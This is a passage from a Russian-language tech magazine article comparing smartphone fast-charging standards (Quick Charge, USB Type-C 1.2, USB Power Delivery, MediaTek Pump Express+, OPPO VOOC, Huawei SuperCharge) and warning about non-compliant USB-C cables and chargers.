толь ко  в  самом начале  заряд ки,  ког да  акку муля‐ 
тор  пуст  или  прак тичес ки  пуст.  С  повыше нием
уров ня  заряда  сни жает ся  подава емая  на  акку‐ 
муля тор  мощ ность,  а  на  уров не  при мер но  80%
ско рость  заряда  зачас тую  и  вов се  неот личима
от  заряд ки  от  «компь ютер ного»  пор та.  Телефон
очень  быс тро  набира ет  пер вые  40–50%  заряда,
пос ле  чего  ско рость  заряд ки  пос тепен но  замед‐ 
ляет ся,  и  пос ледние  еди ницы  про цен тов  могут
набирать ся  поч ти  столь ко  же  вре мени,  сколь ко
пер вые 50.

С  таким  рез ким  скач ком  в  мощ ности  и  ско рос ти  заряд ки  (здесь  дос‐ 
тижимы  18  Вт)  воз никла  дру гая  проб лема:  акку муля торы  при  заряд ке  ста ли
перег ревать ся, и химия батарей ки начина ла дег радиро вать, что со вре менем
при води ло к сни жению ее ресур са. Да, в стан дарте были заложе ны «безопас‐ 
ные» зна чения тем ператур, но мак сималь ная ско рость заряд ки была в те годы
таким зна читель ным мар кетин говым пре иму щес твом, что о сро ке жиз ни акку‐ 
муля торов  (которые  все  чаще  ста нови лись  несъ емны ми)  про изво дите ли
пред почита ли если даже и задумы вать ся, то не говорить покупа телям.

Си туация  ста ла  еще  хуже  с  выходом  «горяче го»  поколе ния  про цес соров
Snapdragon  808  и  810,  одновре мен но  с  которы ми  в  отдель ных  моделях
появи лись  разъ емы USB‐C.  Пос коль ку  Android  скло нен  к  выпол нению  отло‐ 
жен ных задач (нап ример, пакет ному обновле нию уста нов ленных при ложе ний)
имен но при под клю чении заряд ки, перег рев про цес сора сов мес тно с перег‐ 
ревом  акку муля тора  при води ли  к  печаль ным  пос ледс тви ям:  про цес соры
в  бук валь ном  смыс ле  отпа ива лись  от  материн ских  плат,  а  акку муля торы
выходи ли из строя быс трее, чем закан чивал ся гаран тий ный срок. Яркий при‐ 
мер — кол лектив ный иск к ком пании LG (мас совый выход из строя устрой ств
LG G4, G Flex 2, Nexus 5X).

Еще одна проб лема: мас совое появ ление устрой ств с разъ ема ми USB‐C
в  2015  году  сов пало  по  вре мени  с  выходом  ряда  устрой ств  на  чип сетах
поколе ния Qualcomm 808/810. Новый стан дарт фик сировал для про изво дите‐ 
лей кабелей более жес ткие тре бова ния к про пус каемо му току. Так, у кабеля
с  разъ ема ми  USB‐C  на  обо их  кон цах,  если  он  сде лан  без  наруше ний  спе‐ 
цифи кации, не дол жно быть проб лем с переда чей тока в 3 А. Но компь юте ров
и  заряд ных  устрой ств,  обо рудо ван ных  разъ ема ми  USB‐C,  на  рын ке  в  тот
момент  в  дос таточ ном  количес тве  прос то  не  было,  и  подав ляющее  боль‐ 
шинс тво про изво дите лей уком плек товыва ло смар тфо ны обыч ной USB‐заряд‐ 
кой с разъ емом USB‐A и кабелем со стан дар тным «боль шим» разъ емом USB‐
A с одной сто роны и USB‐C — с дру гой.

При  исполь зовании  подоб ных  кабелей  с  мед ленной  заряд кой  проб лем
не воз никало. Их исполь зование с заряд ками стан дарта Quick Charge 2.0 так‐ 
же не вызыва ло никаких неп рият ностей — в кон це кон цов, QC 2.0 соз давал ся
с оглядкой на сов мести мость. Проб лемы — и проб лемы серь езные — ста ли
воз никать тог да, ког да на рынок вышел ряд моделей, исполь зующих аль тер‐ 
натив ный стан дарт быс трой заряд ки, осно ван ный на откры той спе цифи кации
USB‐IF для USB Type‐C 1.2.

Не кото рые про изво дите ли называ ли стан дар тные спо собы быс трой заряд ки
сво ими собс твен ными мар кетин говыми тер минами. Вот, к при меру, Samsung.
Samsung  Advanced  Fast  Charging  —  тор говая  мар ка  ком пании  Samsung,
которой обоз началась заряд ка по стан дарту Quick Charge 2.0. Соот ветс твен‐ 
но,  пол ная  сов мести мость  с  QC  2.0  —  но  и  воз можность  для  Samsung
в  любой  момент  сме нить  плас тинку,  не  меняя  наз вания  тех нологии.  Что,
собс твен но, как‐то про дела ла Motorola, перек лючив шись в сво ей тех нологии
быс трой заряд ки Turbo Power с Quick Charge 2.0 на новый стан дарт USB PD
(5 В / 3 А) без изме нения наз вания. Путани ца? Не то сло во, но в слу чае с Mo‐
torola помога ет, что заряд ные устрой ства со «ста рым» Turbo Power были обо‐ 
рудо ваны несъ емны ми кабеля ми с разъ емом microUSB, а «новые», осно ван‐ 
ные на USB PD, идут с разъ емом USB‐C.

HUAWEI FAST CHARGE PROTOCOL (FCP)
FCP — собс твен ная раз работ ка ком пании Huawei, которая дол жна была кон‐ 
куриро вать с Quick Charge 2.0, заряжая смар тфо ны нап ряжени ем 5 или 9 В с
силой тока 2 А. Обо рудо ван ные ей телефо ны, как пра вило, вклю чали и под‐ 
дер жку  QC  2.0,  что  поз воляло  исполь зовать  мно гочис ленные  заряд ные
устрой ства,  сов мести мые  с  этой  тех нологи ей.  Пос коль ку  Huawei  не  лицен‐ 
зирова ла свою тех нологию дру гим про изво дите лям, извес тно о ней нем ного
и цен ность ее сом нитель на. Зато — собс твен ная раз работ ка, как и про цес‐ 
соры Kirin.

USB TYPE-C 1.2
,  допус кает  переда чу  тока  до  3  А  при  неиз‐ 

менном  нап ряжении  5 В.  В  пер вом  поколе нии  смар тфо нов  (Microsoft  Lumia
950, 950XL, Google Nexus 5X, 6P), да и в боль шинс тве сов ремен ных, за ред‐ 
кими  исклю чени ями,  исполь зует ся  имен но  эта  спе цифи кация,  а  не  новый
(более слож ный, но обратно сов мести мый) стан дарт USB Power Delivery.

Спе цифи кация  USB  Type‐C  1.2

Но вый откры тый стан дарт быс трой заряд ки прост и оче виден. Его реали‐ 
зация  не  тре бует  от  про изво дите лей боль ших  уси лий,  исполь зования  проп‐ 
риетар ных  кон трол леров  заряда  или  каких‐либо  лицен зион ных  отчисле ний
(стан дарт от USB‐IF пол ностью бес пла тен для про изво дите лей). Казалось бы,
бери и поль зуйся!

Без под водных кам ней не обош лось. Даже для такой отно ситель но скром‐ 
ной  мощ ности  в  15  Вт  тре бова лись  новые  кабели  и  заряд ные  устрой ства,
спо соб ные без проб лем, потерь и перег рева выдер живать повышен ный  ток
заряда. И тут ока залось, что если заряд ные устрой ства, спо соб ные кор рек тно
и  с  пол ным  соот ветс тви ем  спе цифи кации  USB‐IF  выдавать  ток  в  3  А,  могут
соб рать мно гие про изво дите ли, то безопас ные шнур ки, пол ностью соот ветс‐ 
тву ющие стан дарту, — вещь поч ти мифичес кая, для сред него китай ско го про‐ 
изво дите ля недос тижимая. Проб лема нас толь ко необыч ная,  воз никшая бук‐ 
валь но на ров ном мес те, что мы выделим ее в осо бый раз дел.

ПРОБЛЕМА С КАБЕЛЯМИ USB-C
В слу чае с про вода ми USB‐A → miniUSB все было дос таточ но прос то: про‐ 
вода,  разъ емы,  изо ляция.  Да,  мож но  было  сэконо мить  на  сечении  про вод‐ 
ников, и тог да устрой ства заряжа лись чуть мед леннее (в осо бо тяжелых слу‐ 
чаях — замет но мед леннее), но боль шой катас тро фы в любом слу чае не про‐ 
исхо дило.

Все изме нилось с выходом стан дарта USB Type‐C и появ лени ем кабелей
с  соот ветс тву ющи ми ште кера ми.  Более‐менее  сра зу  про изво дите ли  научи‐ 
лись  делать  прос тей шие  кабели,  соот ветс тву ющие  спе цифи кации  USB  2.0,
с разъ ема ми USB‐C на обо их кон цах кабеля.

Нам ного слож нее ока залось сде лать кабели, обо рудо ван ные физичес ким
разъ емом USB Type‐C и соот ветс тву ющие спе цифи каци ям USB 3.0,  и прак‐ 
тичес ки  невоз можным  для  незави симых  китай ских  про изво дите лей  стал
выпуск шнур ков,  кор рек тно иден тифици руемых с помощью 

  (e‐marker  chip).  Вот 
 (поверь, дос таточ но типич ного).

мик росхем элек‐ 
трон ного  мар кера де таль ный  раз бор  одно го  из  таких
кабелей

Ос тавим  мар керы  пас сивной  иден тифика ции  кабеля  в  сто роне,  так
как нап рямую с переда чей заряда они не свя заны, и рас смот рим пос леднюю
катего рию  кабелей:  ту,  что  обо рудо вана  разъ емом  USB‐C  на  одном  кон це
и при выч ным USB‐A на дру гом.

Ин женер  Google  Бен сон  Люн    нес коль ко  десят ков  кабелей,
переход ников и заряд ных устрой ств с разъ ема ми USB Type‐C и свел все дан‐ 
ные  в  пос тоян но  обновля емую  таб лицу.  Озна комь ся,  а  луч ше  —  сох рани

, это дей стви тель но важ ный и авто ритет ный источник информа ции.

про тес тировал

ссыл ку
На ибо лее  типич ной  проб лемой  для  китай ских  про изво дите лей  ста ло

исполь зование резис тора со зна чени ем соп ротив ления 10 кОм вмес то уста‐ 
нов ленных  в  спе цифи кации  56  кОм.  На  такой  шаг  недоб росовес тные  про‐ 
изво дите ли идут впол не соз натель но: если смар тфон (или дру гое устрой ство)
с  разъ емом  USB  Type‐C  уви дит  кор рек тное  зна чение  соп ротив ления
в 56 кОм, оно огра ничит мак сималь но пот ребля емый ток мак сималь но допус‐ 
тимым  для  пор та  USB‐A  зна чени ем  (как  мы  пом ним,  это  сов сем  нем ного).
Исполь зование  резис тора  на  22  кОм  даст  воз можность  переда чи  до  1,5  А,
что  еще  условно  допус тимо.  А  вот  исполь зование  резис тора  в  10  кОм
или мень ше  сооб щит  устрой ству,  что  «на  дру гом  кон це  все  хорошо,  мож но
брать до 3 А».

Что при этом может слу чить ся с  устрой ством «на дру гом кон це»? Да все
что  угод но,  от  прос той  заряд ки  с  понижен ной  мак сималь ной  мощ ностью
до выхода из строя заряд ного устрой ства  (или пор та компь юте ра/ноут бука).
Если  в  заряд ном  устрой стве  отсутс тву ет  защита  (типич но  для  дешевых
зарядок),  воз можен  его  перег рев  или  воз горание. 

.
Под робное  опи сание

проб лемы с кар тинка ми
Эта  проб лема  каса ется  не  толь ко  шнур ков,  которые  ты  можешь  купить

на  Aliexpress  или  Amazon.  Такой  «неп равиль ный»  кабель  вхо дит  в  ком плект
OnePlus 2. Пос ле  того  как проб лема вскры лась,  ком пания OnePlus 

:  «Не  бес покой тесь,  НАШ  смар тфон  этот  шну рок  не  пов редит.
На  осталь ных —  пле вать».  Так  что  если  ты  не  хочешь  попол нить  ряды  тех,
на  кого  «пле вать», —  под ходи  к  выбору  кабеля  с  боль шой  осто рож ностью.
И даже если здесь и сей час у тебя устрой ство, спо соб ное «прог лотить» неп‐ 
равиль ный кабель, то где гаран тия, что зав тра у тебя или чле на тво ей семьи
не появит ся смар тфон, работа ющий в точ ном соот ветс твии со спе цифи каци‐ 
ей? Луч ше не рис ковать.

от реаги‐ 
рова ла

USB POWER DELIVERY (USB PD)
USB Power Delivery  (USB PD) —  ,  опуб ликован ный USB‐IF
и  опи сыва ющий  переда чу  питания  меж ду  устрой ства ми,  обо рудо ван ными
пор тами USB Type‐C. Имен но переда чу питания, а не заряд ку: одно и  то же
устрой ство  в  любой момент  вре мени может  выс тупать  как  донором  (заряд‐ 
ным  устрой ством),  так  и  акцепто ром  (тем,  кого  заряжа ют).  Появил ся  этот
стан дарт на  год поз днее Quick Charge 2.0,  а начало его мас сового исполь‐ 
зования сов пало с выходом поколе ния чип сетов Qualcomm 808/810.

от кры тый стан дарт

На  сегод няшний  день  сущес тву ет  три  поколе ния  стан дарта:  USB PD,  PD
2.0 и PD 3.0. И если пер вое поколе ние опи сыва ло дос таточ но жес ткие про‐ 
фили  заряда,  то  уже  во  вто рой  вер сии  стан дарта  про фили  были  замене ны
на  «пра вила»  и  у  про изво дите лей  появи лось  гораз до  боль ше  сво боды.
Разитель ных  раз личий  меж ду  вто рым  и  треть им  поколе ниями  нет,  а  USB‐IF
и вов се опи сыва ет толь ко общий стан дарт USB Power Delivery. Раз личия меж‐ 
ду  поколе ниями в  таких,  к  при меру,  тон костях,  как  воз можность про дол жать
неп рерыв ный  обмен  дан ными  в  момент  сме ны  ролей  устрой ств  (с  при ема
заряда  на  переда чу  и  обратно).  Не  будем  делать  раз личий  меж ду  поколе‐ 
ниями USB PD и мы.

Вот таб личка‐срав нение офи циаль ных спе цифи каций USB‐IF:

Спе цифи -

кация

Макс. нап -

ряжение

Макс. сила

тока

Макс. мощ -

ность

USB 2.0 5 V 500 mA 2.5 W

USB 3.0 / 3.1 5 V 900 mA 4.5 W

USB BC 1.2 5 V 1.5 A 7.5 W

USB Type‐C
1.2

5 V 3 A 15 W

USB PD 3.0 20 V 5 A 100 W

Как видим, в спе цифи кации USB PD все сов сем неп лохо. И если USB Type‐C
(1.2)  без  под дер жки  USB  PD  дает  нам  мак сималь ную  мощ ность  в  15  Вт
при нап ряжении 5 В и силе  тока 3 А,  то это го может ока зать ся впол не дос‐ 
таточ но  для  боль шинс тва  смар тфо нов  без  необ ходимос ти  встра ивать  под‐ 
дер жку более слож ного стан дарта USB PD. А вот для план шетов (к при меру,
Apple iPad Pro 12.9 или нового iPad Pro 10.5) и боль шинс тва уль тра буков (мно‐ 
гие  модели  Dell,  HP,  все  сов ремен ные  Apple  MacBook  и  дру гие)  уже  нуж на
под дер жка  как  минимум  USB  PD  2.0  с  соот ветс тву ющи ми  адап терами
питания.

Вот, к при меру, какие вари анты зарядок допус кает новая спе цифи кация.

QUALCOMM QUICK CHARGE 3.0
Стан дарт Qualcomm Quick Charge 3.0 мас сово  вышел на  сце ну  в  2016  году
с появ лени ем про цес соров Qualcomm 820/821. Точ но так же, как «холод ный»
Snapdragon  820  стал  «работой  над  ошиб ками»  по  срав нению  с  перег рева‐ 
ющи мися  и  про жор ливыми  Snapdragon  810,  так  и  при  работе  над  QC
3.0  инже неры  скон цен три рова ли  уси лия  на  прод лении  сро ка  служ бы  акку‐ 
муля тора, заряжая его в более щадящих режимах без боль шого про седа ния
ско рос ти заряда.

Ес ли в рек ламе QC 2.0 ком пания делала упор на том, нас коль ко быс трее
заряжа ются  устрой ства  в  срав нении  с  QC  1.0,  то,  пре зен туя  QC  3.0,  под‐ 
черки вала, нас коль ко эффектив нее (с мень шими потеря ми и наг ревом) идет
заряд ка. Сни жение неп родук тивных потерь и сопутс тву юще го наг рева, а так‐ 
же допол нитель ный кон троль тем ператур ных режимов, в свою оче редь, поз‐ 
волили уско рить и сам про цесс.

В отли чие от QC 2.0, в  котором нап ряжение выбира лось из ряда 5, 9, 12 В,
в QC 3.0 нап ряжение может менять ся гра нуляр но с шагом все го 0,2 В, а дос‐ 
тупный диапа зон нап ряжений рас ширен до 3,6–20 В (чаще все го исполь зует‐ 
ся  диапа зон  5–12  В).  Мак сималь ная  мощ ность  в  срав нении  с  пре дыду щей
вер сией оста лась неиз менной на уров не 18 Вт.

В целом QC 3.0 мож но толь ко пох валить. Если про изво дитель не гонит ся
за циф рами, завышая ско рость заряд ки в ущерб ресур су акку муля тора (такие
при меры нам извес тны — взять тот же LeEco Le Pro 3), то исполь зование QC
3.0  пред лага ет  дос таточ но  щадящий  режим  заряда,  который  вре дит  акку‐ 
муля тору зна читель но мень ше, чем QC 2.0.

Мож но ли рекомен довать заряд ное устрой ство с QC 3.0 для ежед невно го
(или еже нощ ного) исполь зования с точ ки зре ния жиз ненно го цик ла акку муля‐ 
тора? Если ста вить телефон на заряд ку на всю ночь, то исполь зование стан‐ 
дар тных ЗУ с током 2,4 А, воз можно, прод лит ресурс батарей ки, и через пол‐ 
тора‐два года падение его емкости будет мень ше, чем если бы все это вре мя
ты  поль зовал ся  заряд кой  с  QC  3.0.  Впро чем,  может,  и  не  прод лит  —
это  зависит  исклю читель но  от  того,  как  имен но  кон крет ный  про изво дитель
нас тро ил про цесс заряда, до  каких  тем ператур он поз воля ет разог ревать ся
акку муля тору и нас коль ко береж но отно сит ся к его ресур су.

И ТУТ ПРИШЕЛ ГУГЛ
Все пос ледние смар тфо ны Google, выпущен ные в 2015 и 2016 годах, исполь‐ 
зуют стан дарт быс трой заряд ки сог ласно спе цифи кации USB Type‐C 1.2 (5 В /
3 А). При этом как Nexus 5X, так и Nexus 6P обо рудо ваны всем необ ходимым
для  быс трой  заряд ки  по  про токо лу  QC  2.0  —  воз можность  исполь зования
которо го была соз натель но заб локиро вана Google.

Те перь    зак люча ется  в  том,  что  повыше ние
нап ряжения во вре мя заряда смар тфо нов — зло, и про изво дите лям рекомен‐ 
дует ся  отка зать ся  от  проп риетар ных  методов  быс трой  заряд ки  и  исполь‐ 
зовать вмес то это го заряд ку по стан дарту USB Power Delivery. Вот выдер жка
из  :

офи циаль ная  позиция Google

Android Compatibility Definition Document
«Для устрой ств с под дер жкой Type‐C УСИ ЛЕН НО РЕКОМЕН ДУЕТ СЯ отка‐ 

зать ся  от  под дер жки  проп риетар ных  методов  заряда,  которые  под нима ют
нап ряжение  Vbus  выше  стан дар тно го,  а  так же  изме няют  роли  донора/
акцепто ра,  потому  что  такие  модифи кации  могут  пов лечь  проб лемы  с  сов‐ 
мести мостью меж ду устрой ства ми и адап терами питания, под держи вающи ми
стан дар тные  методы  USB  Power  Delivery.  Пока  мы  УСИ ЛЕН НО  РЕКОМЕН‐ 
ДУЕМ  дан ный  под ход,  но  в  будущих  вер сиях  Android  мы  можем  ПОТ‐ 
РЕБОВАТЬ  от  всех  устрой ств,  обо рудо ван ных  пор тами  type‐C,  под дер жку
пол ной сов мести мос ти со стан дар тны ми адап терами питания type‐C».

А ЗА НИМ ПРИШЛИ КИТАЙЦЫ
И  что,  сто ило  Google  рекомен довать  стан дарти зиро вать  про цесс  заряда,
как сра зу все ста ло хорошо? Не спе ши, ведь китай ские про изво дите ли спо‐ 
соб ны  испортить  любую  хорошую  идею.  Пом нишь,  мы  рас ска зыва ли
про  инже нера  Google  Бен сона  Люна?  Кро ме  кабелей  USB‐C,  он  про тес‐ 
тировал  и  нес коль ко  заряд ных  устрой ств,  дек лариру ющих  сов мести мость
со  стан дартом  USB  PD.  Резуль таты  были  неуте шитель ные:  из  всех  про тес‐ 
тирован ных стан дарту не соот ветс тво вало ни одно. Вот  :как это выг лядит

«Заряд ное  устрой ство  не  соот ветс тву ет  спе цифи кации  USB  Type‐C  Re‐
lease  1.2,  нарушая  Section  4.5.2.2.6.1  Unattached.SRC  Requirements,
в  которой  изло жено  тре бова ние:  „Порт  дол жен  обес печивать  раз дель ную
ком мутацию  Rp  на  выводах  CC1  и  CC2  сог ласно  таб лице  4‐15“.  <...>  Про‐ 
изво дитель закоро тил выводы СС, сэконо мив на резис торе».

В резуль тате копе ечной эко номии (доли цен та!) кабели, осна щен ные мар‐ 
кером иден тифика ции, будут с таким заряд ным устрой ством работать некор‐ 
рек тно. Отсю да и негатив ные отзы вы покупа телей таких бло ков питания: нап‐ 
ример, MacBook 2015 года заряжа ет, а 2016‐го — уже нет.

Бе зус ловно,  откры тый  стан дарт  —  это  хорошо.  Но  слы шал  ли  ты  ког‐ 
да‐нибудь  о мас совых  проб лемах  ЗУ  с  под дер жкой,  ска жем, Qualcomm QC
3.0? За исклю чени ем бра ка в отдель ных экзем пля рах — нет, мас совых проб‐ 
лем с Quick Charge за все годы так и не обна ружи лось. Почему? Потому что
Qualcomm не толь ко лицен зиру ет свою тех нологию, но и сле дит за тем, что бы
ее кор рек тно исполь зовали, сер тифици руя устрой ства.

Ес ли  китай ский  про изво дитель  попыта ется  выпус тить  заряд ное  устрой‐ 
ство  с  Quick  Charge,  не  соот ветс тву ющее  спе цифи каци ям  Qualcomm,  он
не  толь ко не получит сер тифика та,  но и не смо жет про давать  такое  устрой‐ 
ство.  А  вот  игно риро вать,  исполь зовать  или  нарушать  откры тый  стан дарт
мож но  совер шенно  спо кой но:  ник то  никого  не  кон тро лиру ет,  не  про веря ет
и не сер тифици рует. Так что ждет нас оче ред ная вол на условно сов мести мых
устрой ств и бло ков питания, нес мотря на все ста рания Google.
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СТАНДАРТЫ, ОСОБЕННОСТИ И
ПРОБЛЕМЫ ТЕХНОЛОГИЙ

БЫСТРОЙ ЗАРЯДКИ

X‐MOBILE  НАЧАЛО СТАТЬИ←

ЖИЗНЬ В ПАРАЛЛЕЛЬНОЙ ВСЕЛЕННОЙ: MEDIATEK PUMP
EXPRESS+
Тех нология   зас лужива ет отдель ного раз говора.MediaTek Pump Express+

Ком пания MediaTek  извес тна  сво ими  недоро гими  чип сетами,  на  которых
соб раны без пре уве личе ния тысячи моделей устрой ств. Самым рас простра‐ 
нен ным решени ем MTK до сих пор оста ются вари ации чип сетов, осно ван ных
на исполь зовании вось ми маломощ ных про цес сорных ядер ARM Cortex A53.
Но даже смар тфо ны на таких откро вен но пос редс твен ных чип сетах зачас тую
обо руду ются схе мой быс трой заряд ки.

Для начала взгля ни на таб личку.

Ни чего  не  напоми нает?  Каж дое  поколе ние  тех нологии  MediaTek  Pump  Ex‐
press+ име ет пря мое соот ветс твие в лице Qualcomm Quick Charge. Так, Pump
Express+  пер вого  поколе ния  обла дает  теми  же  свой ства ми  и  харак терис‐ 
тиками,  что  и QC 2.0  (плюс  пред лага ет  воз можность  парал лель ной  заряд ки
банок акку муля тора, которой на нашей памяти так ник то и не вос поль зовал‐ 
ся).  PE+  2.0  приб лизитель но  соот ветс тву ет  уров ню  QC  3.0,  умень шая  гра‐ 
нуляр ность шага нап ряжения до 0,5 В.

На конец,  в  самой  сво ей  инте рес ной  реали зации  PE+  3.0  приз ван  кон‐ 
куриро вать  с  Quick  Charge  4.0+.  Эта  вер сия  стан дарта  была  анон сирова на
в мае 2016‐го, но так до сих пор и не вош ла ни в один реаль но сущес тву ющий
смар тфон. В отли чие от QC 4.0 и более ран них вер сий Pump Express+, пос‐ 
ледняя вер сия PE+ 4.0 рез ко сни жает нап ряжение в цепи заряда. И если PE+
2.0 пред лагал про изво дите лям выбор из ряда зна чений нап ряжения до 20 В,
то PE+ 3.0 огра ничи вает ся отрезком от 3 до 6 В с шагом в 10–20 мВ. Так же
пол ностью изме нен про токол ком муника ции меж ду устрой ством и адап тером
питания: теперь вмес то модуля ции Vbus исполь зует ся стан дар тный про токол
USB PD.

Кста ти, а  что  тут будет с обратной сов мести мостью с ран ними вер сиями
PE+? Сог ласно офи циаль ному FAQ — сов сем ничего; пожалуй, это даже неп‐ 
лохо — пусть наконец несов мести мые стан дарты вым рут. Впро чем, надеж ды
на это мало: MediaTek заяв ляет, что стан дарты PE+ 2.0 и 3.0 будут сущес тво‐ 
вать парал лель но и уста нав ливать ся в устрой ства по тре бова нию OEM.

Су щес тву ют заряд ки‐гиб риды, которые могут заряжать телефо ны и с QC 3.0,
и  с  Pump  Express+  2.0.  Вот  при мер:  заряд ное  устрой ство  от  смар тфо нов
LeEco  (моделей  Le 2,  Le Max 2,  Le Pro 3)  под держи вает оба  стан дарта.  Так
получи лось  потому,  что  модель ный  ряд  ком пании  вклю чает  смар тфо ны
на  чипах  и  Qualcomm  (SD652,  SD820/821),  и  MediaTek  (MTK  Helio  x20,  x23,
x25),  и  с  точ ки  зре ния  логис тики  ком пании  ока залось  дешев ле  класть
в короб ку единс твен ную модель заряд ного устрой ства, которая про изво дит ся
в мас совых количес твах.

Ты еще не запутал ся? Нет? Что ж, добавим ада!

OPPO VOOC, ОН ЖЕ ONEPLUS DASH CHARGE
Что  ж,  приш ло  вре мя  рас смот реть  стан дарт  ,
по которо му заряжа ется «убий ца флаг манов» пос ледне го поколе ния, OnePlus
5,  и  все  его  пред шес твен ники,  а  так же  мно гие  смар тфо ны  китай ско го  про‐ 
изво дите ля OPPO незави симо от исполь зуемо го чип сета. Если тебе кажет ся,
что OnePlus и OPPO занима ют мар гиналь ную нишу и о них не сто ит говорить
под робно, а раз ве что упо мянуть, пос мотри вот на эту таб личку:

VOOC,  он  же  DASH  Charge

Ком -

пания

Объ ем пос тавок (млн шт.), I

кв. 2017

До ля рын ка (%), I кв.

2017

Sam‐
sung

79,2 22,8%

Apple 51,6 14,9%

Huawei 34,2 9,8%

OPPO 25,6 7,4%

vivo 18,1 5,2%

Дру гие 138,7 39,9%

Все го 347,4 100,0%

Нес мотря на то что OPPO и Vivo при над лежат кон церну BBK Electronics, ком‐ 
пания  исполь зует  собс твен ную  тех нологию  быс трой  заряд ки  VOOC  толь ко
в смар тфо нах под тор говыми мар ками OPPO и OnePlus. Но и 7,4% от все го
рын ка — это немало.

Есть неп лохой, хоть и очень повер хностный 
. Мы же отме тим сле дующие момен ты.

об зор — срав нение ско рос ти
заряд ки с учас тием VOOC

Тех нология VOOC появи лась в 2014 году в смар тфо нах OPPO Find 7, а так‐ 
же устрой ствах серий F, N и R. В отли чие от основно го кон курен та, Qualcomm
QC  2.0,  тех нология  OPPO  осно вана  не  на  повыше нии  нап ряжения,  а  на
подаче более высоко го тока — до 4 А. Суть тех нологии сос тоит в парал лель‐ 
ном заряде двух банок акку муля тора, что поз воля ет сок ратить вре мя заряда,
не  перег ревая  при  этом  акку муля тор.  Кро ме  того,  некото рые  цепи,  кон тро‐ 
лиру ющие про цесс заряда, были перене сены из кон трол лера питания смар‐ 
тфо на  в  заряд ное  устрой ство,  что,  по  завере ниям  про изво дите ля,  час тично
перено сит  теп лоот дачу  из  встро енно го  в  телефон  кон трол лера  во  внеш нее
ЗУ бла года ря тех нологии пря мого заряда.

По ка зву чит неп лохо? Да нет,  уже воз ника ет воп рос. Даже если брать лишь
то,  что  изло жено  на  бумаге,  сра зу  замет на  как  минимум  одна  проб лема:
защиту  и  кон троль  заряда  катего ричес ки  нель зя  пол ностью  «перено сить»
из телефо на в ЗУ; мож но и нуж но дуб лировать защит ные механиз мы. В про‐ 
тив ном слу чае... а давай пос мотрим, что получа ется в про тив ном слу чае.

Раз работ чики  OPPO  прек расно  зна ют,  что  перенос  час ти  кон троль‐ 
но‐защит ных механиз мов из смар тфо на наружу, в заряд ное устрой ство, рез‐ 
ко  сни жает  план ку  запаса  проч ности.  Более‐менее  безопас но  такая  тех‐ 
нология будет работать в том и толь ко в том слу чае, если мы пол ностью уве‐ 
рены  в  качес тве  всех  ком понен тов  цепоч ки.  Пот ребу ется  исклю читель но
качес твен ное  ЗУ,  исклю читель но  качес твен ная  химия  акку муля торов  и  про‐ 
верен ный  USB‐кабель,  спо соб ный  гаран тирован но  переда вать  ток  в  4  А.
Понят но, что отдать кон троль над про изводс твом зарядок и шнур ков на сто‐ 
рону никак нель зя: попыт ка подать ток в 4 А на обыч ный кабель с разъ емом
USB‐A на одном кон це (а имен но такие, а вов се не Type‐C → Type‐C кабели
исполь зуют ся OPPO) с гаран тией при ведет к опас ному перег реву не рас счи‐ 
тан ного на такой ток разъ ема.

Так что — назад, от мил лиона стан дар тных аксессу аров — к проп риетар‐ 
ным кабелям USB, без которых «магия» быс трой заряд ки работать не будет!
И если в OPPO Find 7 для заряд ки исполь зовал ся разъ ем microUSB с удли‐ 
нен ным ште кером и уве личен ным чис лом кон тактов (кста ти, этот кабель был
про дол жени ем  заряд ного  устрой ства,  отдель но  его  купить  было  нель зя),  то
в  ком плек те  с OnePlus  5  кла дут  неп римеча тель ную USB‐заряд ку  и  обыч ный
с виду шнур с USB‐C на одном кон це и USB‐A на дру гом.

Обыч ные  они  толь ко  с  виду.  Кабели  OnePlus  выпол нены  с  гру быми
наруше ниями  стан дарта  USB  Type‐C  1.2;  их  небезо пас но  исполь зовать
для  заряд ки  дру гих  гад жетов  (об  этом,  как  и  о  реак ции  ком пании,  мы  уже
писали  выше).  Но  если  ты  хочешь,  что бы  твой  телефон  OPPO  или  OnePlus
заряжал ся  с мак сималь ной  ско ростью по  стан дарту  VOOC/DASH Charge,  то
будь  добр  исполь зовать  толь ко  ком плектную  заряд ку  и  толь ко  ком плектный
кабель. Хочешь быс трую заряд ку на работе, в машине или в поез дке от внеш‐ 
него  акку муля тора?  Ни  одно  из  сущес тву ющих  заряд ных  устрой ств  тебе
не  поможет:  будь  добр  при обрести  допол нитель ный  ком плект  ЗУ  +  кабель
про изводс тва OPPO. И  не  забудь:  исполь зовать  тот  же  кабель  для  заряд ки
дру гих устрой ств может быть чре вато.

А  что будет, если  ты все‐таки попыта ешь ся  зарядить смар тфон от OPPO
или OnePlus  сто рон ней  заряд кой  или от  «род ного» ЗУ,  но  дру гим  кабелем?
Не сго рит, будет заряжать ся, но очень и очень мед ленно. Мак сималь ный ток
заряда,  который телефон при мет от стан дар тных шнур ков и зарядок с USB‐
C, — все го 1,5 А (может варь иро вать ся в зависи мос ти от устрой ства; дан ные
от OnePlus 5). Snapdragon 835? QuickCharge 4.0 с мак сималь но широкой сов‐ 
мести мостью и под дер жкой откры того стан дарта USB‐IF Power Delivery? Нет,
не слы шали.

Та ким  обра зом,  с  нашей  колоколь ни  основное  отли чие  тех нологии
VOOC/DASH Charge от кон курен тов — в гру бых наруше ниях стан дартов USB‐
IF и мак сималь ной несов мести мос ти все го со всем (при чем в обе сто роны).
Дос тоинс тва  тех нологии  —  дос таточ но  высокая  ско рость  заряд ки  и  отно‐ 
ситель но неболь шой перег рев — прос то теря ются на фоне тоталь ной несов‐ 
мести мос ти  с  сущес тву ющи ми  аксессу ара ми  и  потен циаль ной  опас ности,
свя зан ной с перено сом некото рых цепей из телефо на в ЗУ.

HUAWEI SUPERCHARGE
Чуть выше мы уже писали о Huawei FCP  (Fast Charge Protocol), работа ющем
при  9  В  /  2  А.  Так  вот,  это —  не  оно;  SuperCharge —  оче ред ной  ни  с  чем
не сов мести мый про токол быс трой заряд ки, под держи ваемый единс твен ным,
хоть и круп ным про изво дите лем.

В опи сании тех нологии SuperCharge от Huawei мы огра ничим ся ука зани ем
нап ряжения и силы тока — это 4,5 В / 5 А — и тем, что для быс трой заряд ки
пот ребу ется  проп риетар ный  кабель. Мыс ли  по  это му  поводу  смот ри  в  пре‐ 
дыду щей  гла ве. Это го будет  дос таточ но,  а  потен циаль ные дос тоинс тва  тех‐ 
нологии  от  Huawei  мы  оста вим  там  же,  где  находят ся  потен циаль ные  дос‐ 
тоинс тва про цес соров Kirin в срав нении с ана лога ми от Qualcomm.

Ес ли на этом мес те тебе уже захоте лось отс тре лить пару‐трой ку про изво‐ 
